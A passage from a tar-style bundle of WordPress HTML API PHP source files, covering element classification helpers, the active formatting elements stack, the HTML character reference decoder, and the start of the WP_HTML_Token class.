			'FIGCAPTION' === $tag_name ||
			'FIGURE' === $tag_name ||
			'FOOTER' === $tag_name ||
			'FORM' === $tag_name ||
			'FRAME' === $tag_name ||
			'FRAMESET' === $tag_name ||
			'H1' === $tag_name ||
			'H2' === $tag_name ||
			'H3' === $tag_name ||
			'H4' === $tag_name ||
			'H5' === $tag_name ||
			'H6' === $tag_name ||
			'HEAD' === $tag_name ||
			'HEADER' === $tag_name ||
			'HGROUP' === $tag_name ||
			'HR' === $tag_name ||
			'HTML' === $tag_name ||
			'IFRAME' === $tag_name ||
			'IMG' === $tag_name ||
			'INPUT' === $tag_name ||
			'KEYGEN' === $tag_name ||
			'LI' === $tag_name ||
			'LINK' === $tag_name ||
			'LISTING' === $tag_name ||
			'MAIN' === $tag_name ||
			'MARQUEE' === $tag_name ||
			'MENU' === $tag_name ||
			'META' === $tag_name ||
			'NAV' === $tag_name ||
			'NOEMBED' === $tag_name ||
			'NOFRAMES' === $tag_name ||
			'NOSCRIPT' === $tag_name ||
			'OBJECT' === $tag_name ||
			'OL' === $tag_name ||
			'P' === $tag_name ||
			'PARAM' === $tag_name ||
			'PLAINTEXT' === $tag_name ||
			'PRE' === $tag_name ||
			'SCRIPT' === $tag_name ||
			'SEARCH' === $tag_name ||
			'SECTION' === $tag_name ||
			'SELECT' === $tag_name ||
			'SOURCE' === $tag_name ||
			'STYLE' === $tag_name ||
			'SUMMARY' === $tag_name ||
			'TABLE' === $tag_name ||
			'TBODY' === $tag_name ||
			'TD' === $tag_name ||
			'TEMPLATE' === $tag_name ||
			'TEXTAREA' === $tag_name ||
			'TFOOT' === $tag_name ||
			'TH' === $tag_name ||
			'THEAD' === $tag_name ||
			'TITLE' === $tag_name ||
			'TR' === $tag_name ||
			'TRACK' === $tag_name ||
			'UL' === $tag_name ||
			'WBR' === $tag_name ||
			'XMP' === $tag_name ||

			// MathML.
			'math MI' === $tag_name ||
			'math MO' === $tag_name ||
			'math MN' === $tag_name ||
			'math MS' === $tag_name ||
			'math MTEXT' === $tag_name ||
			'math ANNOTATION-XML' === $tag_name ||

			// SVG.
			'svg DESC' === $tag_name ||
			'svg FOREIGNOBJECT' === $tag_name ||
			'svg TITLE' === $tag_name
		);
	}

	/**
	 * Returns whether a given element is an HTML Void Element
	 *
	 * > area, base, br, col, embed, hr, img, input, link, meta, source, track, wbr
	 *
	 * @since 6.4.0
	 *
	 * @see https://html.spec.whatwg.org/#void-elements
	 *
	 * @param string $tag_name Name of HTML tag to check.
	 * @return bool Whether the given tag is an HTML Void Element.
	 */
	public static function is_void( $tag_name ): bool {
		$tag_name = strtoupper( $tag_name );

		return (
			'AREA' === $tag_name ||
			'BASE' === $tag_name ||
			'BASEFONT' === $tag_name || // Obsolete but still treated as void.
			'BGSOUND' === $tag_name || // Obsolete but still treated as void.
			'BR' === $tag_name ||
			'COL' === $tag_name ||
			'EMBED' === $tag_name ||
			'FRAME' === $tag_name ||
			'HR' === $tag_name ||
			'IMG' === $tag_name ||
			'INPUT' === $tag_name ||
			'KEYGEN' === $tag_name || // Obsolete but still treated as void.
			'LINK' === $tag_name ||
			'META' === $tag_name ||
			'PARAM' === $tag_name || // Obsolete but still treated as void.
			'SOURCE' === $tag_name ||
			'TRACK' === $tag_name ||
			'WBR' === $tag_name
		);
	}

	/**
	 * Gets an encoding from a given string.
	 *
	 * This is an algorithm defined in the WHAT-WG specification.
	 *
	 * Example:
	 *
	 *     'UTF-8' === self::get_encoding( 'utf8' );
	 *     'UTF-8' === self::get_encoding( "  \tUTF-8 " );
	 *     null    === self::get_encoding( 'UTF-7' );
	 *     null    === self::get_encoding( 'utf8; charset=' );
	 *
	 * @see https://encoding.spec.whatwg.org/#concept-encoding-get
	 *
	 * @todo As this parser only supports UTF-8, only the UTF-8
	 *       encodings are detected. Add more as desired, but the
	 *       parser will bail on non-UTF-8 encodings.
	 *
	 * @since 6.7.0
	 *
	 * @param string $label A string which may specify a known encoding.
	 * @return string|null Known encoding if matched, otherwise null.
	 */
	protected static function get_encoding( string $label ): ?string {
		/*
		 * > Remove any leading and trailing ASCII whitespace from label.
		 */
		$label = trim( $label, " \t\f\r\n" );

		/*
		 * > If label is an ASCII case-insensitive match for any of the labels listed in the
		 * > table below, then return the corresponding encoding; otherwise return failure.
		 */
		switch ( strtolower( $label ) ) {
			case 'unicode-1-1-utf-8':
			case 'unicode11utf8':
			case 'unicode20utf8':
			case 'utf-8':
			case 'utf8':
			case 'x-unicode20utf8':
				return 'UTF-8';

			default:
				return null;
		}
	}

	/*
	 * Constants that would pollute the top of the class if they were found there.
	 */

	/**
	 * Indicates that the next HTML token should be parsed and processed.
	 *
	 * @since 6.4.0
	 *
	 * @var string
	 */
	const PROCESS_NEXT_NODE = 'process-next-node';

	/**
	 * Indicates that the current HTML token should be reprocessed in the newly-selected insertion mode.
	 *
	 * @since 6.4.0
	 *
	 * @var string
	 */
	const REPROCESS_CURRENT_NODE = 'reprocess-current-node';

	/**
	 * Indicates that the current HTML token should be processed without advancing the parser.
	 *
	 * @since 6.5.0
	 *
	 * @var string
	 */
	const PROCESS_CURRENT_NODE = 'process-current-node';

	/**
	 * Indicates that the parser encountered unsupported markup and has bailed.
	 *
	 * @since 6.4.0
	 *
	 * @var string
	 */
	const ERROR_UNSUPPORTED = 'unsupported';

	/**
	 * Indicates that the parser encountered more HTML tokens than it
	 * was able to process and has bailed.
	 *
	 * @since 6.4.0
	 *
	 * @var string
	 */
	const ERROR_EXCEEDED_MAX_BOOKMARKS = 'exceeded-max-bookmarks';

	/**
	 * Unlock code that must be passed into the constructor to create this class.
	 *
	 * This class extends the WP_HTML_Tag_Processor, which has a public class
	 * constructor. Therefore, it's not possible to have a private constructor here.
	 *
	 * This unlock code is used to ensure that anyone calling the constructor is
	 * doing so with a full understanding that it's intended to be a private API.
	 *
	 * @access private
	 */
	const CONSTRUCTOR_UNLOCK_CODE = 'Use WP_HTML_Processor::create_fragment() instead of calling the class constructor directly.';
}
class-wp-html-active-formatting-elements.php000066600000016140152442706010015212 0ustar00<?php
/**
 * HTML API: WP_HTML_Active_Formatting_Elements class
 *
 * @package WordPress
 * @subpackage HTML-API
 * @since 6.4.0
 */

/**
 * Core class used by the HTML processor during HTML parsing
 * for managing the stack of active formatting elements.
 *
 * This class is designed for internal use by the HTML processor.
 *
 * > Initially, the list of active formatting elements is empty.
 * > It is used to handle mis-nested formatting element tags.
 * >
 * > The list contains elements in the formatting category, and markers.
 * > The markers are inserted when entering applet, object, marquee,
 * > template, td, th, and caption elements, and are used to prevent
 * > formatting from "leaking" into applet, object, marquee, template,
 * > td, th, and caption elements.
 * >
 * > In addition, each element in the list of active formatting elements
 * > is associated with the token for which it was created, so that
 * > further elements can be created for that token if necessary.
 *
 * @since 6.4.0
 *
 * @access private
 *
 * @see https://html.spec.whatwg.org/#list-of-active-formatting-elements
 * @see WP_HTML_Processor
 */
class WP_HTML_Active_Formatting_Elements {
	/**
	 * Holds the stack of active formatting element references.
	 *
	 * @since 6.4.0
	 *
	 * @var WP_HTML_Token[]
	 */
	private $stack = array();

	/**
	 * Reports if a specific node is in the stack of active formatting elements.
	 *
	 * @since 6.4.0
	 *
	 * @param WP_HTML_Token $token Look for this node in the stack.
	 * @return bool Whether the referenced node is in the stack of active formatting elements.
	 */
	public function contains_node( WP_HTML_Token $token ) {
		foreach ( $this->walk_up() as $item ) {
			if ( $token->bookmark_name === $item->bookmark_name ) {
				return true;
			}
		}

		return false;
	}

	/**
	 * Returns how many nodes are currently in the stack of active formatting elements.
	 *
	 * @since 6.4.0
	 *
	 * @return int How many node are in the stack of active formatting elements.
	 */
	public function count() {
		return count( $this->stack );
	}

	/**
	 * Returns the node at the end of the stack of active formatting elements,
	 * if one exists. If the stack is empty, returns null.
	 *
	 * @since 6.4.0
	 *
	 * @return WP_HTML_Token|null Last node in the stack of active formatting elements, if one exists, otherwise null.
	 */
	public function current_node() {
		$current_node = end( $this->stack );

		return $current_node ? $current_node : null;
	}

	/**
	 * Inserts a "marker" at the end of the list of active formatting elements.
	 *
	 * > The markers are inserted when entering applet, object, marquee,
	 * > template, td, th, and caption elements, and are used to prevent
	 * > formatting from "leaking" into applet, object, marquee, template,
	 * > td, th, and caption elements.
	 *
	 * @see https://html.spec.whatwg.org/#concept-parser-marker
	 *
	 * @since 6.7.0
	 */
	public function insert_marker(): void {
		$this->push( new WP_HTML_Token( null, 'marker', false ) );
	}

	/**
	 * Pushes a node onto the stack of active formatting elements.
	 *
	 * @since 6.4.0
	 *
	 * @see https://html.spec.whatwg.org/#push-onto-the-list-of-active-formatting-elements
	 *
	 * @param WP_HTML_Token $token Push this node onto the stack.
	 */
	public function push( WP_HTML_Token $token ) {
		/*
		 * > If there are already three elements in the list of active formatting elements after the last marker,
		 * > if any, or anywhere in the list if there are no markers, that have the same tag name, namespace, and
		 * > attributes as element, then remove the earliest such element from the list of active formatting
		 * > elements. For these purposes, the attributes must be compared as they were when the elements were
		 * > created by the parser; two elements have the same attributes if all their parsed attributes can be
		 * > paired such that the two attributes in each pair have identical names, namespaces, and values
		 * > (the order of the attributes does not matter).
		 *
		 * @todo Implement the "Noah's Ark clause" to only add up to three of any given kind of formatting elements to the stack.
		 */
		// > Add element to the list of active formatting elements.
		$this->stack[] = $token;
	}

	/**
	 * Removes a node from the stack of active formatting elements.
	 *
	 * @since 6.4.0
	 *
	 * @param WP_HTML_Token $token Remove this node from the stack, if it's there already.
	 * @return bool Whether the node was found and removed from the stack of active formatting elements.
	 */
	public function remove_node( WP_HTML_Token $token ) {
		foreach ( $this->walk_up() as $position_from_end => $item ) {
			if ( $token->bookmark_name !== $item->bookmark_name ) {
				continue;
			}

			$position_from_start = $this->count() - $position_from_end - 1;
			array_splice( $this->stack, $position_from_start, 1 );
			return true;
		}

		return false;
	}

	/**
	 * Steps through the stack of active formatting elements, starting with the
	 * top element (added first) and walking downwards to the one added last.
	 *
	 * This generator function is designed to be used inside a "foreach" loop.
	 *
	 * Example:
	 *
	 *     $html = '<em><strong><a>We are here';
	 *     foreach ( $stack->walk_down() as $node ) {
	 *         echo "{$node->node_name} -> ";
	 *     }
	 *     > EM -> STRONG -> A ->
	 *
	 * To start with the most-recently added element and walk towards the top,
	 * see WP_HTML_Active_Formatting_Elements::walk_up().
	 *
	 * @since 6.4.0
	 */
	public function walk_down() {
		$count = count( $this->stack );

		for ( $i = 0; $i < $count; $i++ ) {
			yield $this->stack[ $i ];
		}
	}

	/**
	 * Steps through the stack of active formatting elements, starting with the
	 * bottom element (added last) and walking upwards to the one added first.
	 *
	 * This generator function is designed to be used inside a "foreach" loop.
	 *
	 * Example:
	 *
	 *     $html = '<em><strong><a>We are here';
	 *     foreach ( $stack->walk_up() as $node ) {
	 *         echo "{$node->node_name} -> ";
	 *     }
	 *     > A -> STRONG -> EM ->
	 *
	 * To start with the first added element and walk towards the bottom,
	 * see WP_HTML_Active_Formatting_Elements::walk_down().
	 *
	 * @since 6.4.0
	 */
	public function walk_up() {
		for ( $i = count( $this->stack ) - 1; $i >= 0; $i-- ) {
			yield $this->stack[ $i ];
		}
	}

	/**
	 * Clears the list of active formatting elements up to the last marker.
	 *
	 * > When the steps below require the UA to clear the list of active formatting elements up to
	 * > the last marker, the UA must perform the following steps:
	 * >
	 * > 1. Let entry be the last (most recently added) entry in the list of active
	 * >    formatting elements.
	 * > 2. Remove entry from the list of active formatting elements.
	 * > 3. If entry was a marker, then stop the algorithm at this point.
	 * >    The list has been cleared up to the last marker.
	 * > 4. Go to step 1.
	 *
	 * @see https://html.spec.whatwg.org/multipage/parsing.html#clear-the-list-of-active-formatting-elements-up-to-the-last-marker
	 *
	 * @since 6.7.0
	 */
	public function clear_up_to_last_marker(): void {
		foreach ( $this->walk_up() as $item ) {
			array_pop( $this->stack );
			if ( 'marker' === $item->node_name ) {
				break;
			}
		}
	}
}
class-wp-html-decoder.php000066600000040464152442706010011370 0ustar00<?php

/**
 * HTML API: WP_HTML_Decoder class
 *
 * Decodes spans of raw text found inside HTML content.
 *
 * @package WordPress
 * @subpackage HTML-API
 * @since 6.6.0
 */
class WP_HTML_Decoder {
	/**
	 * Indicates if an attribute value starts with a given raw string value.
	 *
	 * Use this method to determine if an attribute value starts with a given string, regardless
	 * of how it might be encoded in HTML. For instance, `http:` could be represented as `http:`
	 * or as `http&colon;` or as `&#x68;ttp:` or as `h&#116;tp&colon;`, or in many other ways.
	 *
	 * Example:
	 *
	 *     $value = 'http&colon;//wordpress.org/';
	 *     true   === WP_HTML_Decoder::attribute_starts_with( $value, 'http:', 'ascii-case-insensitive' );
	 *     false  === WP_HTML_Decoder::attribute_starts_with( $value, 'https:', 'ascii-case-insensitive' );
	 *
	 * @since 6.6.0
	 *
	 * @param string $haystack         String containing the raw non-decoded attribute value.
	 * @param string $search_text      Does the attribute value start with this plain string.
	 * @param string $case_sensitivity Optional. Pass 'ascii-case-insensitive' to ignore ASCII case when matching.
	 *                                 Default 'case-sensitive'.
	 * @return bool Whether the attribute value starts with the given string.
	 */
	public static function attribute_starts_with( $haystack, $search_text, $case_sensitivity = 'case-sensitive' ): bool {
		$search_length = strlen( $search_text );
		$loose_case    = 'ascii-case-insensitive' === $case_sensitivity;
		$haystack_end  = strlen( $haystack );
		$search_at     = 0;
		$haystack_at   = 0;

		while ( $search_at < $search_length && $haystack_at < $haystack_end ) {
			$chars_match = $loose_case
				? strtolower( $haystack[ $haystack_at ] ) === strtolower( $search_text[ $search_at ] )
				: $haystack[ $haystack_at ] === $search_text[ $search_at ];

			$is_introducer = '&' === $haystack[ $haystack_at ];
			$next_chunk    = $is_introducer
				? self::read_character_reference( 'attribute', $haystack, $haystack_at, $token_length )
				: null;

			// If there's no character reference and the characters don't match, the match fails.
			if ( null === $next_chunk && ! $chars_match ) {
				return false;
			}

			// If there's no character reference but the character do match, then it could still match.
			if ( null === $next_chunk && $chars_match ) {
				++$haystack_at;
				++$search_at;
				continue;
			}

			// If there is a character reference, then the decoded value must exactly match what follows in the search string.
			if ( 0 !== substr_compare( $search_text, $next_chunk, $search_at, strlen( $next_chunk ), $loose_case ) ) {
				return false;
			}

			// The character reference matched, so continue checking.
			$haystack_at += $token_length;
			$search_at   += strlen( $next_chunk );
		}

		return true;
	}

	/**
	 * Returns a string containing the decoded value of a given HTML text node.
	 *
	 * Text nodes appear in HTML DATA sections, which are the text segments inside
	 * and around tags, excepting SCRIPT and STYLE elements (and some others),
	 * whose inner text is not decoded. Use this function to read the decoded
	 * value of such a text span in an HTML document.
	 *
	 * Example:
	 *
	 *     '“😄”' === WP_HTML_Decode::decode_text_node( '&#x93;&#x1f604;&#x94' );
	 *
	 * @since 6.6.0
	 *
	 * @param string $text Text containing raw and non-decoded text node to decode.
	 * @return string Decoded UTF-8 value of given text node.
	 */
	public static function decode_text_node( $text ): string {
		return static::decode( 'data', $text );
	}

	/**
	 * Returns a string containing the decoded value of a given HTML attribute.
	 *
	 * Text found inside an HTML attribute has different parsing rules than for
	 * text found inside other markup, or DATA segments. Use this function to
	 * read the decoded value of an HTML string inside a quoted attribute.
	 *
	 * Example:
	 *
	 *     '“😄”' === WP_HTML_Decode::decode_attribute( '&#x93;&#x1f604;&#x94' );
	 *
	 * @since 6.6.0
	 *
	 * @param string $text Text containing raw and non-decoded attribute value to decode.
	 * @return string Decoded UTF-8 value of given attribute value.
	 */
	public static function decode_attribute( $text ): string {
		return static::decode( 'attribute', $text );
	}

	/**
	 * Decodes a span of HTML text, depending on the context in which it's found.
	 *
	 * This is a low-level method; prefer calling WP_HTML_Decoder::decode_attribute() or
	 * WP_HTML_Decoder::decode_text_node() instead. It's provided for cases where this
	 * may be difficult to do from calling code.
	 *
	 * Example:
	 *
	 *     '©' = WP_HTML_Decoder::decode( 'data', '&copy;' );
	 *
	 * @since 6.6.0
	 *
	 * @access private
	 *
	 * @param string $context `attribute` for decoding attribute values, `data` otherwise.
	 * @param string $text    Text document containing span of text to decode.
	 * @return string Decoded UTF-8 string.
	 */
	public static function decode( $context, $text ): string {
		$decoded = '';
		$end     = strlen( $text );
		$at      = 0;
		$was_at  = 0;

		while ( $at < $end ) {
			$next_character_reference_at = strpos( $text, '&', $at );
			if ( false === $next_character_reference_at ) {
				break;
			}

			$character_reference = self::read_character_reference( $context, $text, $next_character_reference_at, $token_length );
			if ( isset( $character_reference ) ) {
				$at       = $next_character_reference_at;
				$decoded .= substr( $text, $was_at, $at - $was_at );
				$decoded .= $character_reference;
				$at      += $token_length;
				$was_at   = $at;
				continue;
			}

			++$at;
		}

		if ( 0 === $was_at ) {
			return $text;
		}

		if ( $was_at < $end ) {
			$decoded .= substr( $text, $was_at, $end - $was_at );
		}

		return $decoded;
	}

	/**
	 * Attempt to read a character reference at the given location in a given string,
	 * depending on the context in which it's found.
	 *
	 * If a character reference is found, this function will return the translated value
	 * that the reference maps to. It will then set `$match_byte_length` the
	 * number of bytes of input it read while consuming the character reference. This
	 * gives calling code the opportunity to advance its cursor when traversing a string
	 * and decoding.
	 *
	 * Example:
	 *
	 *     null === WP_HTML_Decoder::read_character_reference( 'attribute', 'Ships&hellip;', 0 );
	 *     '…'  === WP_HTML_Decoder::read_character_reference( 'attribute', 'Ships&hellip;', 5, $token_length );
	 *     8    === $token_length; // `&hellip;`
	 *
	 *     null === WP_HTML_Decoder::read_character_reference( 'attribute', '&notin', 0 );
	 *     '∉'  === WP_HTML_Decoder::read_character_reference( 'attribute', '&notin;', 0, $token_length );
	 *     7    === $token_length; // `&notin;`
	 *
	 *     '¬'  === WP_HTML_Decoder::read_character_reference( 'data', '&notin', 0, $token_length );
	 *     4    === $token_length; // `&not`
	 *     '∉'  === WP_HTML_Decoder::read_character_reference( 'data', '&notin;', 0, $token_length );
	 *     7    === $token_length; // `&notin;`
	 *
	 * @since 6.6.0
	 *
	 * @global WP_Token_Map $html5_named_character_references Mappings for HTML5 named character references.
	 *
	 * @param string $context            `attribute` for decoding attribute values, `data` otherwise.
	 * @param string $text               Text document containing span of text to decode.
	 * @param int    $at                 Optional. Byte offset into text where span begins, defaults to the beginning (0).
	 * @param int    &$match_byte_length Optional. Set to byte-length of character reference if provided and if a match
	 *                                   is found, otherwise not set. Default null.
	 * @return string|false Decoded character reference in UTF-8 if found, otherwise `false`.
	 */
	public static function read_character_reference( $context, $text, $at = 0, &$match_byte_length = null ) {
		/**
		 * Mappings for HTML5 named character references.
		 *
		 * @var WP_Token_Map $html5_named_character_references
		 */
		global $html5_named_character_references;

		$length = strlen( $text );
		if ( $at + 1 >= $length ) {
			return null;
		}

		if ( '&' !== $text[ $at ] ) {
			return null;
		}

		/*
		 * Numeric character references.
		 *
		 * When truncated, these will encode the code point found by parsing the
		 * digits that are available. For example, when `&#x1f170;` is truncated
		 * to `&#x1f1` it will encode `DZ`. It does not:
		 *  - know how to parse the original `🅰`.
		 *  - fail to parse and return plaintext `&#x1f1`.
		 *  - fail to parse and return the replacement character `�`
		 */
		if ( '#' === $text[ $at + 1 ] ) {
			if ( $at + 2 >= $length ) {
				return null;
			}

			/** Tracks inner parsing within the numeric character reference. */
			$digits_at = $at + 2;

			if ( 'x' === $text[ $digits_at ] || 'X' === $text[ $digits_at ] ) {
				$numeric_base   = 16;
				$numeric_digits = '0123456789abcdefABCDEF';
				$max_digits     = 6; // &#x10FFFF;
				++$digits_at;
			} else {
				$numeric_base   = 10;
				$numeric_digits = '0123456789';
				$max_digits     = 7; // &#1114111;
			}

			// Cannot encode invalid Unicode code points. Max is to U+10FFFF.
			$zero_count    = strspn( $text, '0', $digits_at );
			$digit_count   = strspn( $text, $numeric_digits, $digits_at + $zero_count );
			$after_digits  = $digits_at + $zero_count + $digit_count;
			$has_semicolon = $after_digits < $length && ';' === $text[ $after_digits ];
			$end_of_span   = $has_semicolon ? $after_digits + 1 : $after_digits;

			// `&#` or `&#x` without digits returns into plaintext.
			if ( 0 === $digit_count && 0 === $zero_count ) {
				return null;
			}

			// Whereas `&#` and only zeros is invalid.
			if ( 0 === $digit_count ) {
				$match_byte_length = $end_of_span - $at;
				return '�';
			}

			// If there are too many digits then it's not worth parsing. It's invalid.
			if ( $digit_count > $max_digits ) {
				$match_byte_length = $end_of_span - $at;
				return '�';
			}

			$digits     = substr( $text, $digits_at + $zero_count, $digit_count );
			$code_point = intval( $digits, $numeric_base );

			/*
			 * Noncharacters, 0x0D, and non-ASCII-whitespace control characters.
			 *
			 * > A noncharacter is a code point that is in the range U+FDD0 to U+FDEF,
			 * > inclusive, or U+FFFE, U+FFFF, U+1FFFE, U+1FFFF, U+2FFFE, U+2FFFF,
			 * > U+3FFFE, U+3FFFF, U+4FFFE, U+4FFFF, U+5FFFE, U+5FFFF, U+6FFFE,
			 * > U+6FFFF, U+7FFFE, U+7FFFF, U+8FFFE, U+8FFFF, U+9FFFE, U+9FFFF,
			 * > U+AFFFE, U+AFFFF, U+BFFFE, U+BFFFF, U+CFFFE, U+CFFFF, U+DFFFE,
			 * > U+DFFFF, U+EFFFE, U+EFFFF, U+FFFFE, U+FFFFF, U+10FFFE, or U+10FFFF.
			 *
			 * A C0 control is a code point that is in the range of U+00 to U+1F,
			 * but ASCII whitespace includes U+09, U+0A, U+0C, and U+0D.
			 *
			 * These characters are invalid but still decode as any valid character.
			 * This comment is here to note and explain why there's no check to
			 * remove these characters or replace them.
			 *
			 * @see https://infra.spec.whatwg.org/#noncharacter
			 */

			/*
			 * Code points in the C1 controls area need to be remapped as if they
			 * were stored in Windows-1252. Note! This transformation only happens
			 * for numeric character references. The raw code points in the byte
			 * stream are not translated.
			 *
			 * > If the number is one of the numbers in the first column of
			 * > the following table, then find the row with that number in
			 * > the first column, and set the character reference code to
			 * > the number in the second column of that row.
			 */
			if ( $code_point >= 0x80 && $code_point <= 0x9F ) {
				$windows_1252_mapping = array(
					0x20AC, // 0x80 -> EURO SIGN (€).
					0x81,   // 0x81 -> (no change).
					0x201A, // 0x82 -> SINGLE LOW-9 QUOTATION MARK (‚).
					0x0192, // 0x83 -> LATIN SMALL LETTER F WITH HOOK (ƒ).
					0x201E, // 0x84 -> DOUBLE LOW-9 QUOTATION MARK („).
					0x2026, // 0x85 -> HORIZONTAL ELLIPSIS (…).
					0x2020, // 0x86 -> DAGGER (†).
					0x2021, // 0x87 -> DOUBLE DAGGER (‡).
					0x02C6, // 0x88 -> MODIFIER LETTER CIRCUMFLEX ACCENT (ˆ).
					0x2030, // 0x89 -> PER MILLE SIGN (‰).
					0x0160, // 0x8A -> LATIN CAPITAL LETTER S WITH CARON (Š).
					0x2039, // 0x8B -> SINGLE LEFT-POINTING ANGLE QUOTATION MARK (‹).
					0x0152, // 0x8C -> LATIN CAPITAL LIGATURE OE (Œ).
					0x8D,   // 0x8D -> (no change).
					0x017D, // 0x8E -> LATIN CAPITAL LETTER Z WITH CARON (Ž).
					0x8F,   // 0x8F -> (no change).
					0x90,   // 0x90 -> (no change).
					0x2018, // 0x91 -> LEFT SINGLE QUOTATION MARK (‘).
					0x2019, // 0x92 -> RIGHT SINGLE QUOTATION MARK (’).
					0x201C, // 0x93 -> LEFT DOUBLE QUOTATION MARK (“).
					0x201D, // 0x94 -> RIGHT DOUBLE QUOTATION MARK (”).
					0x2022, // 0x95 -> BULLET (•).
					0x2013, // 0x96 -> EN DASH (–).
					0x2014, // 0x97 -> EM DASH (—).
					0x02DC, // 0x98 -> SMALL TILDE (˜).
					0x2122, // 0x99 -> TRADE MARK SIGN (™).
					0x0161, // 0x9A -> LATIN SMALL LETTER S WITH CARON (š).
					0x203A, // 0x9B -> SINGLE RIGHT-POINTING ANGLE QUOTATION MARK (›).
					0x0153, // 0x9C -> LATIN SMALL LIGATURE OE (œ).
					0x9D,   // 0x9D -> (no change).
					0x017E, // 0x9E -> LATIN SMALL LETTER Z WITH CARON (ž).
					0x0178, // 0x9F -> LATIN CAPITAL LETTER Y WITH DIAERESIS (Ÿ).
				);

				$code_point = $windows_1252_mapping[ $code_point - 0x80 ];
			}

			$match_byte_length = $end_of_span - $at;
			return self::code_point_to_utf8_bytes( $code_point );
		}

		/** Tracks inner parsing within the named character reference. */
		$name_at = $at + 1;
		// Minimum named character reference is two characters. E.g. `GT`.
		if ( $name_at + 2 > $length ) {
			return null;
		}

		$name_length = 0;
		$replacement = $html5_named_character_references->read_token( $text, $name_at, $name_length );
		if ( false === $replacement ) {
			return null;
		}

		$after_name = $name_at + $name_length;

		// If the match ended with a semicolon then it should always be decoded.
		if ( ';' === $text[ $name_at + $name_length - 1 ] ) {
			$match_byte_length = $after_name - $at;
			return $replacement;
		}

		/*
		 * At this point though there's a match for an entry in the named
		 * character reference table but the match doesn't end in `;`.
		 * It may be allowed if it's followed by something unambiguous.
		 */
		$ambiguous_follower = (
			$after_name < $length &&
			$name_at < $length &&
			(
				ctype_alnum( $text[ $after_name ] ) ||
				'=' === $text[ $after_name ]
			)
		);

		// It's non-ambiguous, safe to leave it in.
		if ( ! $ambiguous_follower ) {
			$match_byte_length = $after_name - $at;
			return $replacement;
		}

		// It's ambiguous, which isn't allowed inside attributes.
		if ( 'attribute' === $context ) {
			return null;
		}

		$match_byte_length = $after_name - $at;
		return $replacement;
	}

	/**
	 * Encode a code point number into the UTF-8 encoding.
	 *
	 * This encoder implements the UTF-8 encoding algorithm for converting
	 * a code point into a byte sequence. If it receives an invalid code
	 * point it will return the Unicode Replacement Character U+FFFD `�`.
	 *
	 * Example:
	 *
	 *     '🅰' === WP_HTML_Decoder::code_point_to_utf8_bytes( 0x1f170 );
	 *
	 *     // Half of a surrogate pair is an invalid code point.
	 *     '�' === WP_HTML_Decoder::code_point_to_utf8_bytes( 0xd83c );
	 *
	 * @since 6.6.0
	 *
	 * @see https://www.rfc-editor.org/rfc/rfc3629 For the UTF-8 standard.
	 *
	 * @param int $code_point Which code point to convert.
	 * @return string Converted code point, or `�` if invalid.
	 */
	public static function code_point_to_utf8_bytes( $code_point ): string {
		// Pre-check to ensure a valid code point.
		if (
			$code_point <= 0 ||
			( $code_point >= 0xD800 && $code_point <= 0xDFFF ) ||
			$code_point > 0x10FFFF
		) {
			return '�';
		}

		if ( $code_point <= 0x7F ) {
			return chr( $code_point );
		}

		if ( $code_point <= 0x7FF ) {
			$byte1 = chr( ( $code_point >> 6 ) | 0xC0 );
			$byte2 = chr( $code_point & 0x3F | 0x80 );

			return "{$byte1}{$byte2}";
		}

		if ( $code_point <= 0xFFFF ) {
			$byte1 = chr( ( $code_point >> 12 ) | 0xE0 );
			$byte2 = chr( ( $code_point >> 6 ) & 0x3F | 0x80 );
			$byte3 = chr( $code_point & 0x3F | 0x80 );

			return "{$byte1}{$byte2}{$byte3}";
		}

		// Any values above U+10FFFF are eliminated above in the pre-check.
		$byte1 = chr( ( $code_point >> 18 ) | 0xF0 );
		$byte2 = chr( ( $code_point >> 12 ) & 0x3F | 0x80 );
		$byte3 = chr( ( $code_point >> 6 ) & 0x3F | 0x80 );
		$byte4 = chr( $code_point & 0x3F | 0x80 );

		return "{$byte1}{$byte2}{$byte3}{$byte4}";
	}
}
class-wp-html-token.php000066600000006522152442706010011100 0ustar00<?php
/**
 * HTML API: WP_HTML_Token class
 *
 * @package WordPress
 * @subpackage HTML-API
 * @since 6.4.0
 */

/**
 * Core class used by the HTML processor during HTML parsing
 * for referring to tokens in the input HTML string.
 *
 * This class is designed for internal use by the HTML processor.
 *
 * @since 6.4.0
 *
 * @access private
 *
 * @see WP_HTML_Processor
 */
class WP_HTML_Token {
	/**
	 * Name of bookmark corresponding to source of token in input HTML string.
	 *
	 * Having a bookmark name does not imply that the token still exists. It
	 * may be that the source token and underlying bookmark was wiped out by
	 * some modification to the source HTML.
	 *
	 * @since 6.4.0
	 *
	 * @var string
	 */
	public $bookmark_name = null;

	/**
	 * Name of node; lowercase names such as "marker" are not HTML elements.
	 *
	 * For HTML elements/tags this value should come from WP_HTML_Processor::get_tag().
	 *
	 * @since 6.4.0
	 *
	 * @see WP_HTML_Processor::get_tag()
	 *
	 * @var string
	 */
	public $node_name = null;

	/**
	 * Whether node contains the self-closing flag.
	 *
	 * A node may have a self-closing flag when it shouldn't. This value
	 * only reports if the flag is present in the original HTML.
	 *
	 * @since 6.4.0
	 *
	 * @see https://html.spec.whatwg.org/#self-closing-flag
	 *
	 * @var bool
	 */
	public $has_self_closing_flag = false;

	/**
	 * Indicates if the element is an HTML element or if it's inside foreign content.
	 *
	 * @since 6.7.0
	 *
	 * @var string 'html', 'svg', or 'math'.
	 */
	public $namespace = 'html';

	/**
	 * Indicates which kind of integration point the element is, if any.
	 *
	 * @since 6.7.0
	 *
	 * @var string|null 'math', 'html', or null if not an integration point.
	 */
	public $integration_node_type = null;

	/**
	 * Called when token is garbage-collected or otherwise destroyed.
	 *
	 * @var callable|null
	 */
	public $on_destroy = null;

	/**
	 * Constructor - creates a reference to a token in some external HTML string.
	 *
	 * @since 6.4.0
	 *
	 * @param string|null   $bookmark_name         Name of bookmark corresponding to location in HTML where token is found,
	 *                                             or `null` for markers and nodes without a bookmark.
	 * @param string        $node_name             Name of node token represents; if uppercase, an HTML element; if lowercase, a special value like "marker".
	 * @param bool          $has_self_closing_flag Whether the source token contains the self-closing flag, regardless of whether it's valid.
	 * @param callable|null $on_destroy            Optional. Function to call when destroying token, useful for releasing the bookmark.
	 */
	public function __construct( ?string $bookmark_name, string $node_name, bool $has_self_closing_flag, ?callable $on_destroy = null ) {
		$this->bookmark_name         = $bookmark_name;
		$this->namespace             = 'html';
		$this->node_name             = $node_name;
		$this->has_self_closing_flag = $has_self_closing_flag;
		$this->on_destroy            = $on_destroy;
	}

	/**
	 * Destructor.
	 *
	 * @since 6.4.0
	 */
	public function __destruct() {
		if ( is_callable( $this->on_destroy ) ) {
			call_user_func( $this->on_destroy, $this->bookmark_name );
		}
	}

